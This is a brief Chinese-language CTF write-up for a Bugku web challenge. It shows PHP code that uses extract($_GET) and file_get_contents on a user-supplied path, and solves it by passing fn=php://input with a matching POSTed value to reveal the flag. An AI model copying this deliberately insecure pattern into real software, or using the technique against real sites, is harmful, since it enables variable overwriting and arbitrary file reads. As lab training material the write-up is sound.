bugku-web-file_get_contents

<?php
extract($_GET);
if (!empty($ac))
{
$f = trim(file_get_contents($fn));
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>

file_get_contents是把文件读取成字符串

所以用php://input

传入?fn=php://input&ac=1
然后post传入1
得到flag

赏

谢谢你请我吃糖果